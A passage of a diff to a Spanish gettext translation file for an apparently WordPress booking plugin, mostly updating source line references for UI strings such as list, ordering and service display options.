 msgid "Employees List"
 msgstr "Lista de empleados"
 
@@ -1658,10 +1648,10 @@
 #: includes/shortcodes/LocationsListShortcode.php:41
 #: includes/shortcodes/ServiceCategoriesShortcode.php:43
 #: includes/shortcodes/ServicesListShortcode.php:41
-#: assets/js/gutenberg-blocks.js:11509
-#: assets/js/gutenberg-blocks.js:11804
-#: assets/js/gutenberg-blocks.js:12090
-#: assets/js/gutenberg-blocks.js:12408
+#: assets/js/gutenberg-blocks.js:11510
+#: assets/js/gutenberg-blocks.js:11805
+#: assets/js/gutenberg-blocks.js:12091
+#: assets/js/gutenberg-blocks.js:12409
 msgid "Show featured image."
 msgstr "Mostrar imagen destacada."
 
@@ -1674,9 +1664,9 @@
 #: includes/shortcodes/EmployeesListShortcode.php:46
 #: includes/shortcodes/LocationsListShortcode.php:46
 #: includes/shortcodes/ServicesListShortcode.php:46
-#: assets/js/gutenberg-blocks.js:11517
-#: assets/js/gutenberg-blocks.js:11812
-#: assets/js/gutenberg-blocks.js:12416
+#: assets/js/gutenberg-blocks.js:11518
+#: assets/js/gutenberg-blocks.js:11813
+#: assets/js/gutenberg-blocks.js:12417
 msgid "Show post title."
 msgstr "Mostrar el título del mensaje."
 
@@ -1689,30 +1679,30 @@
 #: includes/shortcodes/EmployeesListShortcode.php:51
 #: includes/shortcodes/LocationsListShortcode.php:51
 #: includes/shortcodes/ServicesListShortcode.php:51
-#: assets/js/gutenberg-blocks.js:11525
-#: assets/js/gutenberg-blocks.js:11820
-#: assets/js/gutenberg-blocks.js:12424
+#: assets/js/gutenberg-blocks.js:11526
+#: assets/js/gutenberg-blocks.js:11821
+#: assets/js/gutenberg-blocks.js:12425
 msgid "Show post excerpt."
 msgstr "Mostrar el extracto del mensaje."
 
 #: includes/divi/modules/EmployeesListModule.php:57
 #: includes/elementor/widgets/EmployeesListWidget.php:74
 #: includes/shortcodes/EmployeesListShortcode.php:56
-#: assets/js/gutenberg-blocks.js:11533
+#: assets/js/gutenberg-blocks.js:11534
 msgid "Show contact information."
 msgstr "Mostrar información de contacto."
 
 #: includes/divi/modules/EmployeesListModule.php:67
 #: includes/elementor/widgets/EmployeesListWidget.php:84
 #: includes/shortcodes/EmployeesListShortcode.php:61
-#: assets/js/gutenberg-blocks.js:11541
+#: assets/js/gutenberg-blocks.js:11542
 msgid "Show social networks."
 msgstr "Mostrar las redes sociales."
 
 #: includes/divi/modules/EmployeesListModule.php:77
 #: includes/elementor/widgets/EmployeesListWidget.php:94
 #: includes/shortcodes/EmployeesListShortcode.php:66
-#: assets/js/gutenberg-blocks.js:11549
+#: assets/js/gutenberg-blocks.js:11550
 msgid "Show additional information."
 msgstr "Mostrar información adicional."
 
@@ -1720,7 +1710,7 @@
 #: includes/elementor/widgets/EmployeesListWidget.php:107
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:60
 #: includes/shortcodes/EmployeesListShortcode.php:71
-#: assets/js/gutenberg-blocks.js:11558
+#: assets/js/gutenberg-blocks.js:11559
 msgid "Comma-separated slugs or IDs of employees that will be shown."
 msgstr "Llaves o identificadores separados por comas de los empleados que se mostrarán."
 
@@ -1734,8 +1724,8 @@
 #: includes/post-types/LocationPostType.php:77
 #: assets/js/analytics-page.js:33420
 #: assets/js/calendar-page.js:45397
-#: assets/js/gutenberg-blocks.js:11566
-#: assets/js/gutenberg-blocks.js:11828
+#: assets/js/gutenberg-blocks.js:11567
+#: assets/js/gutenberg-blocks.js:11829
 msgid "Locations"
 msgstr "Ubicaciones"
 
@@ -1743,8 +1733,8 @@
 #: includes/elementor/widgets/EmployeesListWidget.php:117
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:66
 #: includes/shortcodes/EmployeesListShortcode.php:76
-#: assets/js/gutenberg-blocks.js:11567
-#: assets/js/gutenberg-blocks.js:11829
+#: assets/js/gutenberg-blocks.js:11568
+#: assets/js/gutenberg-blocks.js:11830
 msgid "Comma-separated slugs or IDs of locations."
 msgstr "Slugs o identificadores de lugares separados por comas."
 
@@ -1757,9 +1747,9 @@
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:71
 #: includes/metaboxes/shortcode/LocationsListMetabox.php:68
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:84
-#: assets/js/gutenberg-blocks.js:11575
-#: assets/js/gutenberg-blocks.js:11846
-#: assets/js/gutenberg-blocks.js:12500
+#: assets/js/gutenberg-blocks.js:11576
+#: assets/js/gutenberg-blocks.js:11847
+#: assets/js/gutenberg-blocks.js:12501
 msgid "Posts Per Page"
 msgstr "Mensajes por página"
 
@@ -1777,10 +1767,10 @@
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:96
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:91
 #: includes/widgets/AppointmentFormWidget.php:237
-#: assets/js/gutenberg-blocks.js:11584
-#: assets/js/gutenberg-blocks.js:11855
-#: assets/js/gutenberg-blocks.js:12170
-#: assets/js/gutenberg-blocks.js:12509
+#: assets/js/gutenberg-blocks.js:11585
+#: assets/js/gutenberg-blocks.js:11856
+#: assets/js/gutenberg-blocks.js:12171
+#: assets/js/gutenberg-blocks.js:12510
 msgid "Columns Count"
 msgstr "Recuento de columnas"
 
@@ -1798,10 +1788,10 @@
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:92
 #: includes/shortcodes/AbstractPostsListShortcode.php:29
 #: includes/shortcodes/AbstractTermsListShortcode.php:30
-#: assets/js/gutenberg-blocks.js:11585
-#: assets/js/gutenberg-blocks.js:11856
-#: assets/js/gutenberg-blocks.js:12171
-#: assets/js/gutenberg-blocks.js:12510
+#: assets/js/gutenberg-blocks.js:11586
+#: assets/js/gutenberg-blocks.js:11857
+#: assets/js/gutenberg-blocks.js:12172
+#: assets/js/gutenberg-blocks.js:12511
 msgid "The number of columns in the grid."
 msgstr "El número de columnas de la cuadrícula."
 
@@ -1815,10 +1805,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:178
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:59
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:54
-#: assets/js/gutenberg-blocks.js:11594
-#: assets/js/gutenberg-blocks.js:11865
-#: assets/js/gutenberg-blocks.js:12180
-#: assets/js/gutenberg-blocks.js:12519
+#: assets/js/gutenberg-blocks.js:11595
+#: assets/js/gutenberg-blocks.js:11866
+#: assets/js/gutenberg-blocks.js:12181
+#: assets/js/gutenberg-blocks.js:12520
 msgid "Order By"
 msgstr "Ordenar por"
 
@@ -1832,10 +1822,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:182
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:39
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:40
-#: assets/js/gutenberg-blocks.js:11601
-#: assets/js/gutenberg-blocks.js:11872
-#: assets/js/gutenberg-blocks.js:12187
-#: assets/js/gutenberg-blocks.js:12526
+#: assets/js/gutenberg-blocks.js:11602
+#: assets/js/gutenberg-blocks.js:11873
+#: assets/js/gutenberg-blocks.js:12188
+#: assets/js/gutenberg-blocks.js:12527
 msgid "No order"
 msgstr "Sin ordenar"
 
@@ -1846,9 +1836,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:124
 #: includes/elementor/widgets/ServicesListWidget.php:183
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:40
-#: assets/js/gutenberg-blocks.js:11604
-#: assets/js/gutenberg-blocks.js:11875
-#: assets/js/gutenberg-blocks.js:12529
+#: assets/js/gutenberg-blocks.js:11605
+#: assets/js/gutenberg-blocks.js:11876
+#: assets/js/gutenberg-blocks.js:12530
 msgid "Post ID"
 msgstr "ID del mensaje"
 
@@ -1859,9 +1849,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:125
 #: includes/elementor/widgets/ServicesListWidget.php:184
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:41
-#: assets/js/gutenberg-blocks.js:11607
-#: assets/js/gutenberg-blocks.js:11878
-#: assets/js/gutenberg-blocks.js:12532
+#: assets/js/gutenberg-blocks.js:11608
+#: assets/js/gutenberg-blocks.js:11879
+#: assets/js/gutenberg-blocks.js:12533
 msgid "Post author"
 msgstr "Autor del mensaje"
 
@@ -1875,9 +1865,9 @@
 #: includes/metaboxes/shortcode/LocationsListMetabox.php:49
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:49
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:42
-#: assets/js/gutenberg-blocks.js:11610
-#: assets/js/gutenberg-blocks.js:11881
-#: assets/js/gutenberg-blocks.js:12535
+#: assets/js/gutenberg-blocks.js:11611
+#: assets/js/gutenberg-blocks.js:11882
+#: assets/js/gutenberg-blocks.js:12536
 msgid "Post title"
 msgstr "Título de entrada"
 
@@ -1888,9 +1878,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:127
 #: includes/elementor/widgets/ServicesListWidget.php:186
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:43
-#: assets/js/gutenberg-blocks.js:11613
-#: assets/js/gutenberg-blocks.js:11884
-#: assets/js/gutenberg-blocks.js:12538
+#: assets/js/gutenberg-blocks.js:11614
+#: assets/js/gutenberg-blocks.js:11885
+#: assets/js/gutenberg-blocks.js:12539
 msgid "Post name (post slug)"
 msgstr "Nombre del mensaje (post slug)"
 
@@ -1901,9 +1891,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:128
 #: includes/elementor/widgets/ServicesListWidget.php:187
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:44
-#: assets/js/gutenberg-blocks.js:11616
-#: assets/js/gutenberg-blocks.js:11887
-#: assets/js/gutenberg-blocks.js:12541
+#: assets/js/gutenberg-blocks.js:11617
+#: assets/js/gutenberg-blocks.js:11888
+#: assets/js/gutenberg-blocks.js:12542
 msgid "Post date"
 msgstr "Fecha de publicación"
 
@@ -1914,9 +1904,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:129
 #: includes/elementor/widgets/ServicesListWidget.php:188
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:45
-#: assets/js/gutenberg-blocks.js:11619
-#: assets/js/gutenberg-blocks.js:11890
-#: assets/js/gutenberg-blocks.js:12544
+#: assets/js/gutenberg-blocks.js:11620
+#: assets/js/gutenberg-blocks.js:11891
+#: assets/js/gutenberg-blocks.js:12545
 msgid "Last modified date"
 msgstr "Fecha de la última modificación"
 
@@ -1927,9 +1917,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:130
 #: includes/elementor/widgets/ServicesListWidget.php:189
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:46
-#: assets/js/gutenberg-blocks.js:11622
-#: assets/js/gutenberg-blocks.js:11893
-#: assets/js/gutenberg-blocks.js:12547
+#: assets/js/gutenberg-blocks.js:11623
+#: assets/js/gutenberg-blocks.js:11894
+#: assets/js/gutenberg-blocks.js:12548
 msgid "Random order"
 msgstr "Orden aleatorio"
 
@@ -1940,9 +1930,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:131
 #: includes/elementor/widgets/ServicesListWidget.php:190
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:47
-#: assets/js/gutenberg-blocks.js:11625
-#: assets/js/gutenberg-blocks.js:11896
-#: assets/js/gutenberg-blocks.js:12550
+#: assets/js/gutenberg-blocks.js:11626
+#: assets/js/gutenberg-blocks.js:11897
+#: assets/js/gutenberg-blocks.js:12551
 msgid "Relevance"
 msgstr "Relevancia"
 
@@ -1956,10 +1946,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:191
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:48
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:48
-#: assets/js/gutenberg-blocks.js:11628
-#: assets/js/gutenberg-blocks.js:11899
-#: assets/js/gutenberg-blocks.js:12211
-#: assets/js/gutenberg-blocks.js:12553
+#: assets/js/gutenberg-blocks.js:11629
+#: assets/js/gutenberg-blocks.js:11900
+#: assets/js/gutenberg-blocks.js:12212
+#: assets/js/gutenberg-blocks.js:12554
 msgid "Page order"
 msgstr "Orden de páginas"
 
@@ -1970,9 +1960,9 @@
 #: includes/elementor/widgets/LocationsListWidget.php:133
 #: includes/elementor/widgets/ServicesListWidget.php:192
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:49
-#: assets/js/gutenberg-blocks.js:11631
-#: assets/js/gutenberg-blocks.js:11902
-#: assets/js/gutenberg-blocks.js:12556
+#: assets/js/gutenberg-blocks.js:11632
+#: assets/js/gutenberg-blocks.js:11903
+#: assets/js/gutenberg-blocks.js:12557
 msgid "Page order and post title"
 msgstr "Orden de las páginas y título de los mensajes"
 
@@ -1984,10 +1974,10 @@
 #: includes/elementor/widgets/LocationsListWidget.php:146
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:178
 #: includes/elementor/widgets/ServicesListWidget.php:206
-#: assets/js/gutenberg-blocks.js:11641
-#: assets/js/gutenberg-blocks.js:11912
-#: assets/js/gutenberg-blocks.js:12221
-#: assets/js/gutenberg-blocks.js:12569
+#: assets/js/gutenberg-blocks.js:11642
+#: assets/js/gutenberg-blocks.js:11913
+#: assets/js/gutenberg-blocks.js:12222
+#: assets/js/gutenberg-blocks.js:12570
 msgid "DESC"
 msgstr "DESC"
 
@@ -2001,24 +1991,24 @@
 #: includes/elementor/widgets/ServicesListWidget.php:207
 #: includes/shortcodes/AbstractPostsListShortcode.php:42
 #: includes/shortcodes/AbstractTermsListShortcode.php:43
-#: assets/js/gutenberg-blocks.js:11644
-#: assets/js/gutenberg-blocks.js:11915
-#: assets/js/gutenberg-blocks.js:12224
-#: assets/js/gutenberg-blocks.js:12572
+#: assets/js/gutenberg-blocks.js:11645
+#: assets/js/gutenberg-blocks.js:11916
+#: assets/js/gutenberg-blocks.js:12225
+#: assets/js/gutenberg-blocks.js:12573
 msgid "ASC"
 msgstr "ASC"
 
 #: includes/divi/modules/EmployeeSocialNetworksModule.php:20
 #: includes/elementor/widgets/EmployeeSocialNetworksWidget.php:25
 #: includes/shortcodes/single-employee/EmployeeSocialNetworksShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13481
+#: assets/js/gutenberg-blocks.js:13482
 msgid "Employee Social Networks"
 msgstr "Redes sociales de empleados"
 
 #: includes/divi/modules/EmployeeTitleModule.php:20
 #: includes/elementor/widgets/EmployeeTitleWidget.php:25
 #: includes/shortcodes/single-employee/EmployeeTitleShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12866
+#: assets/js/gutenberg-blocks.js:12867
 msgid "Employee Title"
 msgstr "Título del empleado"
 
@@ -2026,7 +2016,7 @@
 #: includes/elementor/widgets/LocationsListWidget.php:25
 #: includes/metaboxes/shortcode/LocationsListMetabox.php:29
 #: includes/shortcodes/LocationsListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:11963
+#: assets/js/gutenberg-blocks.js:11964
 msgid "Locations List"
 msgstr "Lista de ubicaciones"
 
@@ -2048,9 +2038,9 @@
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:72
 #: includes/post-types/LocationPostType.php:124
 #: includes/post-types/ServicePostType.php:164
-#: assets/js/gutenberg-blocks.js:11837
-#: assets/js/gutenberg-blocks.js:12123
-#: assets/js/gutenberg-blocks.js:12482
+#: assets/js/gutenberg-blocks.js:11838
+#: assets/js/gutenberg-blocks.js:12124
+#: assets/js/gutenberg-blocks.js:12483
 msgid "Categories"
 msgstr "Categorías"
 
@@ -2066,9 +2056,9 @@
 #: includes/shortcodes/LocationsListShortcode.php:61
 #: includes/shortcodes/ServiceCategoriesShortcode.php:64
 #: includes/shortcodes/ServicesListShortcode.php:86
-#: assets/js/gutenberg-blocks.js:11838
-#: assets/js/gutenberg-blocks.js:12124
-#: assets/js/gutenberg-blocks.js:12483
+#: assets/js/gutenberg-blocks.js:11839
+#: assets/js/gutenberg-blocks.js:12125
+#: assets/js/gutenberg-blocks.js:12484
 msgid "Comma-separated slugs or IDs of categories that will be shown."
 msgstr "Slugs o IDs separados por comas de las categorías que se mostrarán."
 
@@ -2078,26 +2068,26 @@
 #: includes/post-types/ServicePostType.php:149
 #: includes/post-types/ServicePostType.php:252
 #: includes/shortcodes/ServiceCategoriesShortcode.php:31
-#: assets/js/gutenberg-blocks.js:12272
+#: assets/js/gutenberg-blocks.js:12273
 msgid "Service Categories"
 msgstr "Categorías de servicios"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:37
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:53
-#: assets/js/gutenberg-blocks.js:12098
+#: assets/js/gutenberg-blocks.js:12099
 msgid "Show Services Count?"
 msgstr "¿Mostrar la cantidad de Servicios?"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:47
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:63
-#: assets/js/gutenberg-blocks.js:12106
+#: assets/js/gutenberg-blocks.js:12107
 msgid "Show Description?"
 msgstr "¿Mostrar Descripción?"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:57
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:73
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:56
-#: assets/js/gutenberg-blocks.js:12114
+#: assets/js/gutenberg-blocks.js:12115
 msgid "Parent"
 msgstr "Categoría principal"
 
@@ -2105,14 +2095,14 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:76
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:57
 #: includes/shortcodes/ServiceCategoriesShortcode.php:58
-#: assets/js/gutenberg-blocks.js:12115
+#: assets/js/gutenberg-blocks.js:12116
 msgid "Parent term slug or ID to retrieve direct-child terms from."
 msgstr "Término principal o ID para recuperar los términos secundarios directos."
 
 #: includes/divi/modules/ServiceCategoriesModule.php:69
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:93
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:68
-#: assets/js/gutenberg-blocks.js:12132
+#: assets/js/gutenberg-blocks.js:12133
 msgid "Exclude Categories"
 msgstr "Excluir categorías"
 
@@ -2120,21 +2110,21 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:96
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:69
 #: includes/shortcodes/ServiceCategoriesShortcode.php:69
-#: assets/js/gutenberg-blocks.js:12133
+#: assets/js/gutenberg-blocks.js:12134
 msgid "Comma-separated slugs or IDs of categories that will not be shown."
 msgstr "Slugs o ID separados por comas de las categorías que no se mostrarán."
 
 #: includes/divi/modules/ServiceCategoriesModule.php:75
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:103
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:74
-#: assets/js/gutenberg-blocks.js:12141
+#: assets/js/gutenberg-blocks.js:12142
 msgid "Hide Empty"
 msgstr "Ocultar Vacío"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:85
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:114
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:80
-#: assets/js/gutenberg-blocks.js:12150
+#: assets/js/gutenberg-blocks.js:12151
 msgid "Depth"
 msgstr "Profundidad"
 
@@ -2142,14 +2132,14 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:115
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:81
 #: includes/shortcodes/ServiceCategoriesShortcode.php:79
-#: assets/js/gutenberg-blocks.js:12151
+#: assets/js/gutenberg-blocks.js:12152
 msgid "Display depth of child categories."
 msgstr "Mostrar la profundidad de las categorías secundarias."
 
 #: includes/divi/modules/ServiceCategoriesModule.php:97
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:127
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:88
-#: assets/js/gutenberg-blocks.js:12160
+#: assets/js/gutenberg-blocks.js:12161
 msgid "Number"
 msgstr "Número"
 
@@ -2157,56 +2147,56 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:128
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:89
 #: includes/shortcodes/AbstractTermsListShortcode.php:24
-#: assets/js/gutenberg-blocks.js:12161
+#: assets/js/gutenberg-blocks.js:12162
 msgid "Maximum number of categories to show."
 msgstr "Número máximo de categorías a mostrar."
 
 #: includes/divi/modules/ServiceCategoriesModule.php:126
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:158
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:41
-#: assets/js/gutenberg-blocks.js:12190
+#: assets/js/gutenberg-blocks.js:12191
 msgid "Term name"
 msgstr "Nombre del término"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:127
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:159
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:42
-#: assets/js/gutenberg-blocks.js:12193
+#: assets/js/gutenberg-blocks.js:12194
 msgid "Term slug"
 msgstr "Término slug"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:128
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:160
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:43
-#: assets/js/gutenberg-blocks.js:12196
+#: assets/js/gutenberg-blocks.js:12197
 msgid "Term ID"
 msgstr "Término ID"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:129
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:161
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:44
-#: assets/js/gutenberg-blocks.js:12199
+#: assets/js/gutenberg-blocks.js:12200
 msgid "Parent ID"
 msgstr "ID de categoría principal"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:130
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:162
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:45
-#: assets/js/gutenberg-blocks.js:12202
+#: assets/js/gutenberg-blocks.js:12203
 msgid "Number of associated objects"
 msgstr "Número de objetos asociados"
 
 #: includes/divi/modules/ServiceCategoriesModule.php:131
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:163
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:46
-#: assets/js/gutenberg-blocks.js:12205
+#: assets/js/gutenberg-blocks.js:12206
 msgid "Keep the order of \"IDs\" parameter"
 msgstr "Mantener el orden del parámetro \"ID\""
 
 #: includes/divi/modules/ServiceCategoriesModule.php:132
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:164
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:47
-#: assets/js/gutenberg-blocks.js:12208
+#: assets/js/gutenberg-blocks.js:12209
 msgid "Term order"
 msgstr "Orden de plazos"
 
@@ -2214,35 +2204,35 @@
 #: includes/elementor/widgets/ServicesListWidget.php:24
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:29
 #: includes/shortcodes/ServicesListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12620
+#: assets/js/gutenberg-blocks.js:12621
 msgid "Services List"
 msgstr "Lista de servicios"
 
 #: includes/divi/modules/ServicesListModule.php:57
 #: includes/elementor/widgets/ServicesListWidget.php:73
 #: includes/shortcodes/ServicesListShortcode.php:56
-#: assets/js/gutenberg-blocks.js:12432
+#: assets/js/gutenberg-blocks.js:12433
 msgid "Show service price."
 msgstr "Mostrar el precio del servicio."
 
 #: includes/divi/modules/ServicesListModule.php:67
 #: includes/elementor/widgets/ServicesListWidget.php:83
 #: includes/shortcodes/ServicesListShortcode.php:61
-#: assets/js/gutenberg-blocks.js:12440
+#: assets/js/gutenberg-blocks.js:12441
 msgid "Show service duration."
 msgstr "Mostrar la duración del servicio."
 
 #: includes/divi/modules/ServicesListModule.php:77
 #: includes/elementor/widgets/ServicesListWidget.php:93
 #: includes/shortcodes/ServicesListShortcode.php:66
-#: assets/js/gutenberg-blocks.js:12448
+#: assets/js/gutenberg-blocks.js:12449
 msgid "Show service capacity."
 msgstr "Mostrar la capacidad de servicio."
 
 #: includes/divi/modules/ServicesListModule.php:87
 #: includes/elementor/widgets/ServicesListWidget.php:103
 #: includes/shortcodes/ServicesListShortcode.php:71
-#: assets/js/gutenberg-blocks.js:12456
+#: assets/js/gutenberg-blocks.js:12457
 msgid "Show service employees."
 msgstr "Mostrar a los empleados del servicio."
 
@@ -2250,7 +2240,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:116
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:61
 #: includes/shortcodes/ServicesListShortcode.php:76
-#: assets/js/gutenberg-blocks.js:12465
+#: assets/js/gutenberg-blocks.js:12466
 msgid "Comma-separated slugs or IDs of services that will be shown."
 msgstr "Slugs o ID separados por comas de los servicios que se mostrarán."
 
@@ -2258,7 +2248,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:126
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:67
 #: includes/shortcodes/ServicesListShortcode.php:81
-#: assets/js/gutenberg-blocks.js:12474
+#: assets/js/gutenberg-blocks.js:12475
 msgid "Comma-separated slugs or IDs of employees that perform these services."
 msgstr "Slugs o ID separadas por comas de los empleados que realizan estos servicios."
 
@@ -2266,7 +2256,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:143
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:78
 #: includes/post-types/ServicePostType.php:210
-#: assets/js/gutenberg-blocks.js:12491
+#: assets/js/gutenberg-blocks.js:12492
 msgid "Tags"
 msgstr "Etiquetas"
 
@@ -2365,7 +2355,7 @@
 #: includes/elementor/widgets/ServiceCategoriesWidget.php:105
 #: includes/metaboxes/shortcode/ServiceCategoriesMetabox.php:75
 #: includes/shortcodes/ServiceCategoriesShortcode.php:74
-#: assets/js/gutenberg-blocks.js:12142
+#: assets/js/gutenberg-blocks.js:12143
 msgid "Hide terms not assigned to any posts."
 msgstr "Ocultar términos no asignados a ningún mensaje."
 
@@ -2623,10 +2613,10 @@
 #: includes/emails/tags/booking/BookingLeftToPayTag.php:19
 #: templates/emails/admin/admin-approved-booking-email.php:29
 #: templates/emails/customer/customer-approved-payment-email.php:24
-#: assets/js/divi-modules.js:6018
-#: assets/js/elementor-widgets.js:6018
-#: assets/js/gutenberg-blocks.js:6457
-#: assets/js/public.js:6018
+#: assets/js/divi-modules.js:6019
+#: assets/js/elementor-widgets.js:6019
+#: assets/js/gutenberg-blocks.js:6458
+#: assets/js/public.js:6019
 msgid "Left to pay"
 msgstr "Restante por pagar"
 
@@ -2846,11 +2836,11 @@
 #: templates/shortcodes/booking/step-cart.php:48
 #: templates/shortcodes/template-parts/booking-details.php:51
 #: assets/js/calendar-page.js:38070
-#: assets/js/divi-modules.js:2858
-#: assets/js/edit-post.js:4314
-#: assets/js/elementor-widgets.js:2858
+#: assets/js/divi-modules.js:2859
+#: assets/js/edit-post.js:4315
+#: assets/js/elementor-widgets.js:2859
 #: assets/js/gutenberg-blocks.js:431
-#: assets/js/public.js:2858
+#: assets/js/public.js:2859
 #: assets/js/widgets-manage-page.js:300
 msgid "Clients"
 msgstr "Clientes"
@@ -2912,13 +2902,13 @@
 #: includes/fields/complex/TimetableField.php:313
 #: includes/structures/TimePeriod.php:294
 #: assets/js/calendar-page.js:38145
-#: assets/js/divi-modules.js:3569
+#: assets/js/divi-modules.js:3570
 #: assets/js/edit-post.js:2101
-#: assets/js/edit-post.js:4846
-#: assets/js/edit-post.js:8800
-#: assets/js/elementor-widgets.js:3569
+#: assets/js/edit-post.js:4847
+#: assets/js/edit-post.js:8801
+#: assets/js/elementor-widgets.js:3570
 #: assets/js/gutenberg-blocks.js:1855
-#: assets/js/public.js:3569
+#: assets/js/public.js:3570
 #: assets/js/widgets-manage-page.js:1620
 msgid "All day"
 msgstr "Todo el día"
@@ -2927,12 +2917,12 @@
 #: includes/fields/complex/DaysOffField.php:100
 #: templates/shortcodes/booking/cart/admin-cart-item.php:113
 #: templates/shortcodes/booking/step-cart.php:72
-#: assets/js/divi-modules.js:5975
+#: assets/js/divi-modules.js:5976
 #: assets/js/edit-post.js:2051
 #: assets/js/edit-post.js:2283
-#: assets/js/elementor-widgets.js:5975
-#: assets/js/gutenberg-blocks.js:6414
-#: assets/js/public.js:5975
+#: assets/js/elementor-widgets.js:5976
+#: assets/js/gutenberg-blocks.js:6415
+#: assets/js/public.js:5976
 msgid "Remove"
 msgstr "Eliminar"
 
@@ -3039,7 +3029,7 @@
 
 #. Translators: %s: Location name, like "Barbershop".
 #: includes/fields/complex/TimetableField.php:241
-#: assets/js/edit-post.js:8815
+#: assets/js/edit-post.js:8816
 #, php-format,js-format
 msgctxt "Working at %s"
 msgid "at %s"
@@ -3344,11 +3334,11 @@
 
 #: includes/helpers/PriceCalculationHelper.php:50
 #: includes/helpers/PriceCalculationHelper.php:122
-#: assets/js/divi-modules.js:6056
+#: assets/js/divi-modules.js:6057
 #: assets/js/edit-post.js:1602
-#: assets/js/elementor-widgets.js:6056
-#: assets/js/gutenberg-blocks.js:6495
-#: assets/js/public.js:6056
+#: assets/js/elementor-widgets.js:6057
+#: assets/js/gutenberg-blocks.js:6496
+#: assets/js/public.js:6057
 msgctxt "Zero price"
 msgid "Free"
 msgstr "Disponible"
@@ -3433,33 +3423,33 @@
 msgid "You can add a new log message here and press Update to save it"
 msgstr "Puede agregar un nuevo mensaje de registro aquí y presionar Actualizar para guardarlo"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:49
+#: includes/metaboxes/booking/BookingPriceMetabox.php:50
 #: includes/post-types/CouponPostType.php:60
 #: templates/shortcodes/booking/sections/coupon-section.php:14
 msgid "Coupon"
 msgstr "Cupón"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:55
